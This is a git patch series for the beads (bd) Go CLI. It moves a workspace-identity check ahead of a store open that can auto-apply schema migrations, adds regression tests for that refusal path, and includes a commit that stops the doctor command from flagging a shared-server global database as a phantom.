t.TempDir() + beadsDir := filepath.Join(repoDir, ".beads") + writeTestConfigYAML(t, beadsDir, "") + writeMetadataConfig(t, beadsDir, configfile.DoltModeEmbedded, database) + + // A real bootstrap, not a fake: Open creates the data dir and runs + // initSchema, which is what leaves the schema_migrations cursor the drift + // check reads. Closed again so the gate's own preview open is the only + // holder. + bootstrap, err := embeddeddolt.Open(ctx, beadsDir, database, "main") + if err != nil { + t.Fatalf("bootstrap embedded workspace: %v", err) + } + if err := bootstrap.Close(); err != nil { + t.Fatalf("close bootstrap store: %v", err) + } + + // Forward-drift it. CurrentVersion is MAX(version) over schema_migrations, + // so a single row above the binary's latest reproduces the recurring + // stale-binary class (#4135/#4137) that made this arm's UX matter. + ahead := schema.LatestVersion() + 1 + withEmbeddedMigrateSQL(t, beadsDir, database, func(db *sql.DB) error { + _, err := db.ExecContext(ctx, + "INSERT INTO schema_migrations (version, content_hash) VALUES (?, ?)", + ahead, strings.Repeat("f", 64)) + return err + }) + + t.Chdir(repoDir) + t.Setenv("BEADS_DIR", beadsDir) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_AUTO_START", "0") + t.Setenv("BEADS_SKIP_IDENTITY_CHECK", "") + // The skew check itself has an escape hatch; an ambient one would turn the + // refusal under test into a warning and pass vacuously. + t.Setenv("BD_IGNORE_SCHEMA_SKEW", "") + + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + savePersistentPreRunState(t) + + oldStore := store + // Zero it: the closing assertion is that the gate refused before opening + // the real store, which a leftover global would satisfy vacuously. + store = nil + t.Cleanup(func() { store = oldStore }) + + oldJSON := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = oldJSON }) + + if rootCmd.PersistentPreRunE == nil { + t.Fatal("rootCmd.PersistentPreRunE must be set") + } + + probe := &cobra.Command{ + Use: "identity-gate-skew-probe", + RunE: func(*cobra.Command, []string) error { return nil }, + } + rootCmd.AddCommand(probe) + t.Cleanup(func() { rootCmd.RemoveCommand(probe) }) + + var preRunErr error + out := captureStderr(t, func() { preRunErr = rootCmd.PersistentPreRunE(probe, nil) }) + + if preRunErr == nil { + t.Fatalf("PersistentPreRunE succeeded against a workspace %d migrations ahead of this binary; the gate must refuse\nstderr:\n%s", ahead-schema.LatestVersion(), out) + } + + // The actionable block SchemaSkewError.UserMessage() owns. Losing this to a + // generic wrapper was the regression. + if !strings.Contains(out, "Your bd binary is stale") { + t.Errorf("stderr lacks the skew rebuild guidance, so the preview's typed error was not rendered as the real-open arm renders it:\n%s", out) + } + // Proves the drift came from the real workspace cursor, not a stray + // SchemaSkewError manufactured somewhere else on the path. + wantVersions := fmt.Sprintf("database is at v%d, binary knows up to v%d", ahead, schema.LatestVersion()) + if !strings.Contains(out, wantVersions) { + t.Errorf("stderr = %q, want it to report %q", out, wantVersions) + } + if strings.Contains(out, "could not verify workspace identity") { + t.Errorf("schema skew from the preview open was rendered as the gate's generic identity wrapper:\n%s", out) + } + if strings.Contains(out, "BEADS_SKIP_IDENTITY_CHECK") { + t.Errorf("refusal advertised BEADS_SKIP_IDENTITY_CHECK, which cannot help here: skipping the gate leaves the real open failing on the identical skew:\n%s", out) + } + if store != nil { + t.Error("PersistentPreRunE must not have opened the real store after refusing on a forward-drifted preview") + } +} diff --git a/cmd/bd/identity_preview_gate_test.go b/cmd/bd/identity_preview_gate_test.go new file mode 100644 index 000000000..76a086e79 --- /dev/null +++ b/cmd/bd/identity_preview_gate_test.go @@ -0,0 +1,128 @@ +package main + +import ( + "bytes" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/spf13/cobra" + + "github.com/steveyegge/beads/internal/config" + "github.com/steveyegge/beads/internal/configfile" +) + +// TestIsBootstrapPreviewErr pins the classifier that decides whether the +// identity check's preview-open failure is a legitimate first run (skip +// silently) or something else (refuse). It must recognize the exact wrapping +// shape embeddeddolt produces for "no database on disk yet" and nothing else, +// including an error that merely happens to also be wrapped. +func TestIsBootstrapPreviewErr(t *testing.T) { + wrappedNotExist := fmt.Errorf("embeddeddolt: no embedded database at %s: %w", "/tmp/x/embeddeddolt", os.ErrNotExist) + wrappedOther := fmt.Errorf("dial tcp 127.0.0.1:3306: %w", errors.New("connect: connection refused")) + + tests := []struct { + name string + err error + want bool + }{ + {"nil error", nil, false}, + {"direct os.ErrNotExist", os.ErrNotExist, true}, + {"wrapped os.ErrNotExist (embedded store shape)", wrappedNotExist, true}, + {"generic non-ENOENT error", errors.New("connection refused"), false}, + {"wrapped non-ENOENT error", wrappedOther, false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := isBootstrapPreviewErr(tt.err); got != tt.want { + t.Errorf("isBootstrapPreviewErr(%v) = %v, want %v", tt.err, got, tt.want) + } + }) + } +} + +// TestPersistentPreRunRefusesWhenIdentityPreviewFailsForNonBootstrapReason is +// the MAJOR-criterion regression test for be-0gfcs round 2 (be-3bt2e): a +// preview-open failure that is NOT the legitimate first-run case must refuse +// before the real, mutating store open runs -- not silently no-op the way it +// did when the guard's own peek could fail for the same reason it exists to +// catch (an unreachable or misconfigured workspace), letting a pending schema +// migration auto-apply unexamined. +// +// Dolt server-mode with no server listening is the hermetic trigger: it is +// the same setup TestPersistentPreRunHonorsSkipStoreAnnotation's control case +// already relies on to prove PersistentPreRunE reaches, and fails, a real +// store open in this test environment -- and it fails for a connection +// reason, never an os.ErrNotExist, so it is unambiguously NOT bootstrap. +func TestPersistentPreRunRefusesWhenIdentityPreviewFailsForNonBootstrapReason(t *testing.T) { + repoDir := t.TempDir() + beadsDir := filepath.Join(repoDir, ".beads") + writeTestConfigYAML(t, beadsDir, "") + writeMetadataConfig(t, beadsDir, configfile.DoltModeServer, "identity_gate_test") + + t.Chdir(repoDir) + t.Setenv("BEADS_DIR", beadsDir) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + // If the real store open is ever reached without refusing first (the bug), + // fail fast: never auto-start a server from a test. + t.Setenv("BEADS_DOLT_AUTO_START", "0") + t.Setenv("BEADS_SKIP_IDENTITY_CHECK", "") + + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + savePersistentPreRunState(t) + + oldStore := store + // Zero it too: the assertion at the end of this test is that the gate did + // NOT open the real store, which a leftover non-nil global from an earlier + // test would satisfy vacuously (or fail spuriously). + store = nil + t.Cleanup(func() { store = oldStore }) + + if rootCmd.PersistentPreRunE == nil { + t.Fatal("rootCmd.PersistentPreRunE must be set") + } + + probe := &cobra.Command{ + Use: "identity-gate-refuse-probe", + RunE: func(*cobra.Command, []string) error { return nil }, + } + rootCmd.AddCommand(probe) + t.Cleanup(func() { rootCmd.RemoveCommand(probe) }) + + oldStderr := os.Stderr + r, w, pipeErr := os.Pipe() + if pipeErr != nil { + t.Fatalf("os.Pipe: %v", pipeErr) + } + os.Stderr = w + + err := rootCmd.PersistentPreRunE(probe, nil) + + w.Close() + os.Stderr = oldStderr + var captured bytes.Buffer + io.Copy(&captured, r) //nolint:errcheck // best-effort drain of a test pipe + + if err == nil { + t.Fatal("expected PersistentPreRunE to fail against an unreachable server-mode database; test-environment precondition broken") + } + + // HandleError's returned error carries only "exit code N" in its own + // Error() string -- the real message goes to stderr (see HandleError in + // errors.go) -- so the marker must be asserted against captured stderr, + // not err.Error(). + const wantMarker = "could not verify workspace identity" + if !strings.Contains(captured.String(), wantMarker) { + t.Errorf("PersistentPreRunE stderr = %q, want it to contain %q -- a preview-open failure for a reason other than first-time bootstrap must refuse before the real, mutating store open runs (be-0gfcs: the guard cannot prevent what it is guarding against if it silently no-ops here)", captured.String(), wantMarker) + } + if store != nil { + t.Error("PersistentPreRunE must not have opened the real store after refusing on an unverifiable identity preview") + } +} diff --git a/cmd/bd/identity_preview_refusal_test.go b/cmd/bd/identity_preview_refusal_test.go new file mode 100644 index 000000000..5b85ce32b --- /dev/null +++ b/cmd/bd/identity_preview_refusal_test.go @@ -0,0 +1,121 @@ +package main + +import ( + "encoding/json" + "errors" + "fmt" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/schema" +) + +// TestRefuseUnverifiablePreviewOpenRendersTypedErrors pins the regression the +// identity gate introduced by refusing on its own generic wrapper. +// +// The preview open runs CheckForwardDrift, so a schema-ahead database — the +// recurring stale-binary class — fails the PREVIEW now, not the real open. On +// base that class surfaced from the real open and was rendered by +// renderTypedOpenError with SchemaSkewError.UserMessage()'s actionable rebuild +// block, and with a JSON body under --json. A bare HandleError on the gate's +// refusal arm replaced both with an unstructured line, and appended a +// BEADS_SKIP_IDENTITY_CHECK=1 hint that cannot help: skipping the gate just +// makes the real open fail on the identical skew. +func TestRefuseUnverifiablePreviewOpenRendersTypedErrors(t *testing.T) { + skew := &schema.SchemaSkewError{DBVersion: 71, BinaryVersion: 68} + + t.Run("schema skew keeps its own UX, not the generic wrapper", func(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = oldJSON }) + + var err error + out := captureStderr(t, func() { err = refuseUnverifiablePreviewOpen(skew) }) + + if err == nil { + t.Fatal("refusal returned nil; the gate must still fail the command") + } + if strings.Contains(out, "could not verify workspace identity") { + t.Errorf("schema skew was rendered as the generic identity wrapper:\n%s", out) + } + if strings.Contains(out, "BEADS_SKIP_IDENTITY_CHECK") { + t.Errorf("refusal advertised BEADS_SKIP_IDENTITY_CHECK for a skew, where skipping the gate leaves the real open failing identically:\n%s", out) + } + // The skew renderer's own text, not this test's paraphrase of it. + if !strings.Contains(out, skew.Error()) { + t.Errorf("stderr = %q, want the SchemaSkewError message %q", out, skew.Error()) + } + }) + + t.Run("schema skew under --json emits a JSON body", func(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + out := captureStderr(t, func() { _ = refuseUnverifiablePreviewOpen(skew) }) + + var body map[string]interface{} + if err := json.Unmarshal([]byte(out), &body); err != nil { + t.Fatalf("--json refusal did not emit a JSON body (%v); raw stderr:\n%s", err, out) + } + raw, ok := body["schema_skew"] + if !ok { + t.Fatalf("JSON body has no schema_skew object, so a machine caller cannot tell skew from any other failure: %v", body) + } + detail, ok := raw.(map[string]interface{}) + if !ok { + t.Fatalf("schema_skew is %T, want an object", raw) + } + for key, want := range map[string]float64{ + "current_version": 71, + "required_version": 68, + "delta": 3, + } { + if got, _ := detail[key].(float64); got != want { + t.Errorf("schema_skew[%q] = %v, want %v", key, detail[key], want) + } + } + }) + + t.Run("a preview-specific error keeps the generic message and respects --json", func(t *testing.T) { + // Not a typed open error: this is the class the generic arm is for, and + // the only class where the override hint is honest. + previewErr := fmt.Errorf("dial tcp 127.0.0.1:3306: %w", errors.New("connection refused")) + + oldJSON := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = oldJSON }) + + plain := captureStderr(t, func() { _ = refuseUnverifiablePreviewOpen(previewErr) }) + if !strings.Contains(plain, "could not verify workspace identity") { + t.Errorf("stderr = %q, want the generic identity refusal", plain) + } + if !strings.Contains(plain, "BEADS_SKIP_IDENTITY_CHECK") { + t.Errorf("stderr = %q, want the override hint on the arm where it actually applies", plain) + } + + // The generic arm's JSON body goes to STDOUT (HandleErrorRespectJSON → + // jsonStdoutError), unlike handleSchemaSkewJSON's, which goes to stderr. + // That split is pre-existing; what matters for this finding is that a + // --json caller receives a parseable body on one of them instead of the + // bare stderr line the gate used to emit. + jsonOutput = true + // captureStdout fails the test on a returned error, and this refusal + // returns a non-nil exitError by design, so record it separately. + var refusal error + structured := captureStdout(t, func() error { + refusal = refuseUnverifiablePreviewOpen(previewErr) + return nil + }) + if refusal == nil { + t.Error("refusal returned nil under --json; the command must still fail") + } + var body map[string]interface{} + if err := json.Unmarshal([]byte(structured), &body); err != nil { + t.Fatalf("--json generic refusal emitted no JSON body (%v); a machine caller gets exit 1 with nothing to parse:\n%s", err, structured) + } + if _, ok := body["error"]; !ok { + t.Errorf("JSON body has no error field: %v", body) + } + }) +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index f5cc0b9d4..6d374979e 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1850,6 +1850,63 @@ var rootCmd = &cobra.Command{ doltCfg.Path = doltPath + // Validate workspace identity for write commands (GH#2438, GH#2372) + // BEFORE the real store opens below. Skip for read-only commands + // since they can't corrupt data. Skip for --global: the global + // database uses a sentinel project ID that won't match any + // project's metadata.json. + // + // This has to run before the store opens, not after: opening it is + // what lets a pending schema migration auto-apply (the smart gate, + // #4516), and checking identity only after that open means a + // mismatch is caught after the migration already landed as a real, + // permanent commit — the refusal arrives too late to prevent it + // (be-0gfcs). newPreviewStoreFromConfig gives a non-mutating, + // behind-schema-tolerant peek at the same database: enough to read + // _project_id without running (or needing) the migration this check + // must complete ahead of. + // + // Dispatches on previewErr, not on idStore's own nilness: even the + // success case can't trust idStore to signal failure on its own. + // openNonMutatingStoreFromConfig's dolt-server-mode branch returns + // dolt.NewFromConfigWithOptions's result straight through, and on a + // failed connection that is a nil *dolt.DoltStore boxed into a + // non-nil storage.DoltStorage interface — the classic Go typed-nil + // trap, where `idStore != nil` reads true even though the store + // behind it is not there. Calling Close() (or anything else) on + // that reference panics (confirmed live: + // TestPersistentPreRunHonorsSkipStoreAnnotation's control case, a + // command with no skip-store annotation run against an absent + // server-mode database). Checking previewErr first sidesteps the + // trap entirely, matching the ordinary (value, err) contract every + // other caller of this pair already trusts. + // + // A failed peek still has to be told apart from a legitimate first + // run: isBootstrapPreviewErr recognizes "no local database yet" (a + // wrapped os.ErrNotExist from the embedded store's own data-dir + // check), and only that case is skipped silently — the bootstrap + // tolerance this check has always had. Any other previewErr + // (unreachable server-mode endpoint, unloadable config, a + // registered backend refusing the read-only open, ...) used to be + // swallowed the same way, which let a preview failure wave the + // real, mutating open through unexamined — the one thing this check + // exists to prevent (be-3bt2e). Those cases now refuse instead. + if !useReadOnly && !globalFlag && os.Getenv("BEADS_SKIP_IDENTITY_CHECK") != "1" { + idStore, previewErr := newPreviewStoreFromConfig(rootCtx, beadsDir) + switch { + case previewErr == nil: + checkErr := validateWorkspaceIdentity(rootCtx, idStore, beadsDir) + _ = idStore.Close() + if checkErr != nil { + return checkErr + } + case isBootstrapPreviewErr(previewErr): + debug.Logf("workspace identity check: skipping, no local database yet (%v)\n", previewErr) + default: + return refuseUnverifiablePreviewOpen(previewErr) + } + } + // WARNING: DO NOT remove, delete, or modify files inside Dolt's .dolt/ // directory — including noms/LOCK files. These are Dolt-internal files. // Removing them WILL cause unrecoverable data corruption and data loss. @@ -1897,15 +1954,10 @@ var rootCmd = &cobra.Command{ maybeAutoImportJSONL(rootCtx, store, beadsDir) } - // Validate workspace identity for write commands (GH#2438, GH#2372) - // Skip for read-only commands since they can't corrupt data. - // Skip for --global: the global database uses a sentinel project ID - // that won't match any project's metadata.json. - if !useReadOnly && !globalFlag && os.Getenv("BEADS_SKIP_IDENTITY_CHECK") != "1" { - if err := validateWorkspaceIdentity(rootCtx, beadsDir); err != nil { - return err - } - } + // Workspace identity is validated earlier now, before the store below + // was allowed to open and auto-apply a pending schema migration as a + // side effect (be-0gfcs) — see the check right before + // newRegisteredBackendStore/newDoltStore. // Initialize hook runner using the .beads directory resolved above via // resolveCommandBeadsDir. Do not use filepath.Dir(dbPath): for a @@ -2336,16 +2388,80 @@ func flushBatchCommitOnShutdown() { fmt.Fprintf(os.Stderr, "\nFlushed pending batch commit on shutdown\n") } +// isBootstrapPreviewErr reports whether err is the identity check's preview +// open failing because no local database exists yet — a legitimate first +// run, not a workspace problem. It must stay narrow: any other previewErr +// (unreachable server, bad config, ...) has to refuse rather than silently +// wave the real, mutating open through (be-3bt2e). +func isBootstrapPreviewErr(err error) bool { + return errors.Is(err, os.ErrNotExist) +} + +// refuseUnverifiablePreviewOpen renders the identity gate's refusal when the +// preview open failed for a reason other than first-run bootstrap. +// +// The preview IS a real store open, so it can hit the same typed open errors the +// real one does, and those must be rendered exactly as the real-open arm renders +// them. Moving the gate earlier is not license to downgrade +// SchemaSkewError.UserMessage()'s actionable rebuild block into a generic +// wrapper, nor to drop the JSON body that every `--json` consumer depends on. +// +// Only ONE class actually arrives here typed today — schema skew: the preview +// runs CheckForwardDrift (embeddeddolt openReadOnly, dolt store open), which is +// how the recurring stale-binary class #4135/#4137 surfaces at the preview +// first. The other two calls below are defensive-for-symmetry with the real-open +// arm, and cannot fire from a preview as the code stands: +// - handleFreshCloneError matches a post-migration failure string that a +// non-mutating preview never produces. Note for whoever makes it reachable: +// it ignores jsonOutput (main_errors.go), so it would break the `--json` +// guarantee this arm otherwise keeps. +// - CheckRemoteMigrateGate* runs only from mutating opens, never from +// openReadOnly, so RemoteMigrateGateError cannot originate in the preview. +// +// projectIdentityMismatchError is deliberately NOT in that list: it is a plain +// fmt.Errorf block with no typed wrapper, so it falls to the generic arm below +// and picks up its prefix. That matches base, where the mismatch block reached +// the operator inside the real arm's "failed to open database: %v" wrapper. +// +// Extracted from the gate's default arm so both halves are directly testable +// without standing up a forward-drifted workspace; the wire itself is pinned on +// the embedded tier by +// TestIdentityGateRendersSchemaSkewFromForwardDriftedWorkspace. +func refuseUnverifiablePreviewOpen(previewErr error) error { + if handleFreshCloneError(previewErr) { + return SilentExit() + } + if renderTypedOpenError(previewErr) { + return SilentExit() + } + // What remains is preview-specific: an unreachable endpoint, unloadable + // config, a registered backend refusing the read-only open. Respect --json + // so a machine caller still receives a structured error. The override hint + // lives only on this arm, and states what it actually does: on the typed + // arms above it cannot help, because the real open fails on the identical + // condition. + return HandleErrorRespectJSON( + "could not verify workspace identity before opening the database: %v "+ + "(BEADS_SKIP_IDENTITY_CHECK=1 skips this pre-open check; it does not fix an error the real open would hit too)", + previewErr) +} + // validateWorkspaceIdentity checks that the project identity from metadata.json -// matches the database's stored project_id. A mismatch indicates configuration -// drift — the CLI may be pointing at the wrong database (GH#2438, GH#2372). +// matches s's stored project_id. A mismatch indicates configuration drift — +// the CLI may be pointing at the wrong database (GH#2438, GH#2372). // // This check only runs for write commands because: // 1. Read commands are safe even against wrong databases (no data mutation) -// 2. The check requires an open store connection +// 2. The check requires a store connection // 3. New databases won't have _project_id yet (bootstrap case) -func validateWorkspaceIdentity(ctx context.Context, beadsDir string) error { - if store == nil { +// +// s is passed explicitly rather than read off the package-level store: the +// caller runs this against a throwaway, non-mutating store opened BEFORE the +// real command store, specifically so a mismatch is caught before that real +// open lets a pending schema migration auto-apply (be-0gfcs) — see the call +// site in the root command's PersistentPreRunE. +func validateWorkspaceIdentity(ctx context.Context, s storage.DoltStorage, beadsDir string) error { + if s == nil { return nil // No store connection, nothing to validate } @@ -2360,7 +2476,7 @@ func validateWorkspaceIdentity(ctx context.Context, beadsDir string) error { } // Get project_id from database - dbProjectID, err := store.GetMetadata(ctx, "_project_id") + dbProjectID, err := s.GetMetadata(ctx, "_project_id") if err != nil || dbProjectID == "" { return nil // No project_id in DB (new or pre-identity database) } diff --git a/cmd/bd/migrate_schema_identity_order_test.go b/cmd/bd/migrate_schema_identity_order_test.go new file mode 100644 index 000000000..ed23675fd --- /dev/null +++ b/cmd/bd/migrate_schema_identity_order_test.go @@ -0,0 +1,90 @@ +//go:build cgo + +package main + +import ( + "database/sql" + "errors" + "os" + "os/exec" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/schema" +) + +// TestMigrateSchema_IdentityMismatchRefusesBeforeApplying reproduces be-0gfcs: +// bd migrate schema's workspace-identity guard (validateWorkspaceIdentity) +// runs AFTER the shared pre-run has already opened the store and let the +// smart gate auto-apply a pending schema migration as a side effect. The +// refusal itself is correct -- exit 1, the mismatch message -- but it +// arrives after a real, permanent Dolt commit has already advanced +// schema_migrations. The fix must make the identity check run before (or +// otherwise gate) that auto-apply, so a refused migrate leaves the schema +// cursor untouched. +func TestMigrateSchema_IdentityMismatchRefusesBeforeApplying(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "idm") + + latest := schema.LatestVersion() + behind := latest - 1 + + // Put the workspace one migration behind -- so opening the store has a + // pending migration for the smart gate to auto-apply -- and give the + // database a _project_id that no longer matches this workspace's + // config.yaml. Both conditions together are what the real incident + // needs: a decoy/mismatched database that is also behind on schema. + withEmbeddedMigrateSQL(t, beadsDir, "idm", func(db *sql.DB) error { + if _, err := db.ExecContext(t.Context(), + "DELETE FROM schema_migrations WHERE version = ?", latest); err != nil { + return err + } + _, err := db.ExecContext(t.Context(), + "UPDATE metadata SET value = ? WHERE `key` = ?", "corrupted-project-id-be-0gfcs", "_project_id") + return err + }) + + cursor := func() int { + t.Helper() + var v int + withEmbeddedMigrateSQL(t, beadsDir, "idm", func(db *sql.DB) error { + return db.QueryRowContext(t.Context(), + "SELECT COALESCE(MAX(version), 0) FROM schema_migrations").Scan(&v) + }) + return v + } + if got := cursor(); got != behind { + t.Fatalf("precondition failed: schema cursor = %d, want %d", got, behind) + } + + cmd := exec.Command(bd, "migrate", "schema") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + + code := 0 + if err != nil { + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) { + t.Fatalf("running bd migrate schema: %v", err) + } + code = exitErr.ExitCode() + } + + if code != 1 { + t.Errorf("bd migrate schema exit = %d, want 1\nstdout:\n%s\nstderr:\n%s", code, stdout.String(), stderr.String()) + } + if !strings.Contains(stderr.String(), "workspace identity mismatch detected") { + t.Errorf("bd migrate schema stderr missing identity mismatch message:\n%s", stderr.String()) + } + + if got := cursor(); got != behind { + t.Fatalf("bd migrate schema refused the workspace but still advanced schema_migrations from %d to %d -- "+ + "the smart-gate auto-migration on store-open ran before the identity check (be-0gfcs)", behind, got) + } +} diff --git a/cmd/bd/workspace_identity_test.go b/cmd/bd/workspace_identity_test.go index 9de8f3e08..fd11522f4 100644 --- a/cmd/bd/workspace_identity_test.go +++ b/cmd/bd/workspace_identity_test.go @@ -5,21 +5,17 @@ import ( ) func TestValidateWorkspaceIdentity_NilStore(t *testing.T) { - // When store is nil, validateWorkspaceIdentity should be a no-op - // (no panic, no os.Exit) - origStore := store - store = nil - defer func() { store = nil; store = origStore }() - - validateWorkspaceIdentity(nil, "/nonexistent") + // When the passed-in store is nil, validateWorkspaceIdentity should be a + // no-op (no panic, no os.Exit). + validateWorkspaceIdentity(nil, nil, "/nonexistent") // If we got here, no os.Exit was called — pass } func TestValidateWorkspaceIdentity_NonexistentDir(t *testing.T) { - // When beadsDir doesn't exist, configfile.Load fails and we skip validation - origStore := store - store = nil - defer func() { store = origStore }() - - validateWorkspaceIdentity(nil, "/nonexistent/path/that/does/not/exist") + // When beadsDir doesn't exist, configfile.Load fails and we skip + // validation. Store is nil here too (same as the pre-refactor version of + // this test, which set the package-level store to nil): both cases + // return before configfile.Load would even run, so this and + // TestValidateWorkspaceIdentity_NilStore cover the same early return. + validateWorkspaceIdentity(nil, nil, "/nonexistent/path/that/does/not/exist") } From 65985895ecf1725a91445ee2c1b36ed1b502c2f8 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 14:23:46 -0700 Subject: [PATCH 113/624] fix(doctor): don't flag shared-server global database as phantom (#6599) (#6634) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(doctor): don't flag shared-server global database as phantom checkPhantomDatabases flagged any beads_*/​*_beads database other than the primary one, so a shared-server workspace's own global_dolt_database (beads_global) was reported as a phantom on every run. Skip GetGlobalDoltDatabase() alongside the configured database. Fixes #6599 Co-Authored-By: Claude Sonnet 5 * fix(doctor): resolve the shared-server global DB without the init stamp Maintainer review round 1 on PR #6634 (2 majors, 1 minor). Major 1 - the skip arm only reached workspaces stamped by `bd init`. GetGlobalDoltDatabase() is a raw field read with no default, and cmd/bd/init.go:1705 is its only writer, gated on shared-server mode, with no back-fill anywhere in the tree. Existing checkouts - initialized before the field existed, or initialized per-project and later attached to a shared server - still had globalDB == "" and kept reporting beads_global as a phantom: exactly GH#6599, with a suggested remedy ("restart the server") that can never clear a deliberately created database. resolveGlobalDoltDatabase() now falls back to doltserver.GlobalDatabaseName when shared-server mode is active. The fallback stays mode-gated rather than unconditional so a stray beads_global on an *unstamped* per-project workspace is still reported; _GlobalDBNoStampPerProject pins that arm. The stamp is read ahead of the mode gate, so a workspace stamped under shared-server mode keeps skipping beads_global after that mode is turned off. That is deliberate rather than an oversight: cmd/bd/init.go:1705 writes the same constant the fallback returns, so stamp and fallback can only diverge on a hand-edited metadata.json. Major 2 - TestCheckPhantomDatabases_GlobalDBNotPhantom asserted aggregate StatusOK without sweeping first, and the shared test container is bootstrapped with a beads_test database. Reproduced before the fix: `go test -run 'TestCheckPhantomDatabases_GlobalDBNotPhantom$' ./cmd/bd/doctor/` failed deterministically with "1 phantom database(s) detected: beads_test". It was green in package runs only because _OK precedes it in source order and sweeps. It now sweeps like _OK/_NilConfig and asserts containment on beads_global, which no sibling database can perturb. Minor - probeForCorrectDatabase, the adjacent exit of the same fix, could still return beads_global as "the correct database" for a project whose own database is missing. It reuses the same resolver for its skip map. Evidence: with the contributor's dolt.go grafted back under the new tests, _GlobalDBNoStamp fails with "1 phantom database(s) detected: beads_global" and _SkipsGlobalDB fails with probeForCorrectDatabase returning "beads_global", so both new pins discriminate rather than pass vacuously. All 9 phantom/probe tests pass in the package run, under `-run` isolation, and with `-shuffle=on`; the full ./cmd/bd/doctor failure set is identical to the contributor HEAD (7 pre-existing env-sensitive reds). Review round 2 found no gating issues. It did note that every pin above is in a //go:build cgo file that skips without a reachable Dolt container, so the resolver had no coverage in the CGO_ENABLED=0 lane. TestResolveGlobalDoltDatabase in the tagless dolt_test.go now pins all four arms - stamp precedence, the unstamped and nil-config fallbacks, and the per-project empty resolution - with no server and no skip (0.00s). Mutation-proved both ways: the contributor's stamp-only read reddens exactly the two fallback arms, and moving the mode gate ahead of the stamp read reddens exactly the stamp arm. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Julian Knutsen --- cmd/bd/doctor/dolt.go | 35 +++++++- cmd/bd/doctor/dolt_phantom_test.go | 129 +++++++++++++++++++++++++++++ cmd/bd/doctor/dolt_test.go | 47 +++++++++++ 3 files changed, 209 insertions(+), 2 deletions(-) diff --git a/cmd/bd/doctor/dolt.go b/cmd/bd/doctor/dolt.go index 8b68fb35f..159cc7563 100644 --- a/cmd/bd/doctor/dolt.go +++ b/cmd/bd/doctor/dolt.go @@ -562,6 +562,27 @@ func CheckDoltStatus(path string) DoctorCheck { return checkStatusWithDB(conn) } +// resolveGlobalDoltDatabase returns the name of the shared-server global routing +// database, or "" when this workspace has no global database. The +// global_dolt_database stamp in metadata.json wins when present, but bd init is +// its only writer and only writes it under shared-server mode +// (cmd/bd/init.go), so workspaces initialized before the field existed — or +// initialized per-project and later attached to a shared server — carry no +// stamp. Those workspaces fall back to the constant the runtime actually routes +// through, so the deliberately created global database stops being reported as +// a stray one (GH#6599). +func resolveGlobalDoltDatabase(cfg *configfile.Config) string { + if cfg != nil { + if globalDB := cfg.GetGlobalDoltDatabase(); globalDB != "" { + return globalDB + } + } + if doltserver.IsSharedServerMode() { + return doltserver.GlobalDatabaseName + } + return "" +} + // checkPhantomDatabases detects phantom catalog entries from naming convention // changes (beads_* prefix or *_beads suffix) that don't match the configured // database. These phantom entries can cause INFORMATION_SCHEMA queries to crash @@ -584,6 +605,7 @@ func checkPhantomDatabases(conn *doltConn) DoctorCheck { if conn.cfg != nil { configuredDB = conn.cfg.GetDoltDatabase() } + globalDB := resolveGlobalDoltDatabase(conn.cfg) var phantoms []string for rows.Next() { @@ -591,8 +613,10 @@ func checkPhantomDatabases(conn *doltConn) DoctorCheck { if err := rows.Scan(&dbName); err != nil { continue } - // Skip system databases and the configured database - if dbName == "information_schema" || dbName == "mysql" || dbName == configuredDB { + // Skip system databases, the configured database, and the shared-server + // global routing database (e.g. beads_global), which is created on purpose. + if dbName == "information_schema" || dbName == "mysql" || dbName == configuredDB || + (globalDB != "" && dbName == globalDB) { continue } // Flag entries matching beads naming convention patterns @@ -652,6 +676,13 @@ func probeForCorrectDatabase(conn *doltConn) string { "mysql": true, configuredDB: true, // Already checked this one } + // The shared-server global routing database is schema-initialized, so it has + // an issues table and would otherwise be offered as "the correct database" + // for a project whose own database is missing. It holds global-scope issues, + // never a project's (GH#6599). + if globalDB := resolveGlobalDoltDatabase(conn.cfg); globalDB != "" { + skip[globalDB] = true + } var candidates []string for rows.Next() { diff --git a/cmd/bd/doctor/dolt_phantom_test.go b/cmd/bd/doctor/dolt_phantom_test.go index 34664aaa3..5863b1ec0 100644 --- a/cmd/bd/doctor/dolt_phantom_test.go +++ b/cmd/bd/doctor/dolt_phantom_test.go @@ -11,6 +11,7 @@ import ( _ "github.com/go-sql-driver/mysql" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/doltserver" "github.com/steveyegge/beads/internal/storage/doltutil" "github.com/steveyegge/beads/internal/testutil" ) @@ -208,3 +209,131 @@ func TestCheckPhantomDatabases_NilConfig(t *testing.T) { t.Errorf("expected check name 'Phantom Databases', got %q", check.Name) } } + +func TestCheckPhantomDatabases_GlobalDBNotPhantom(t *testing.T) { + db := 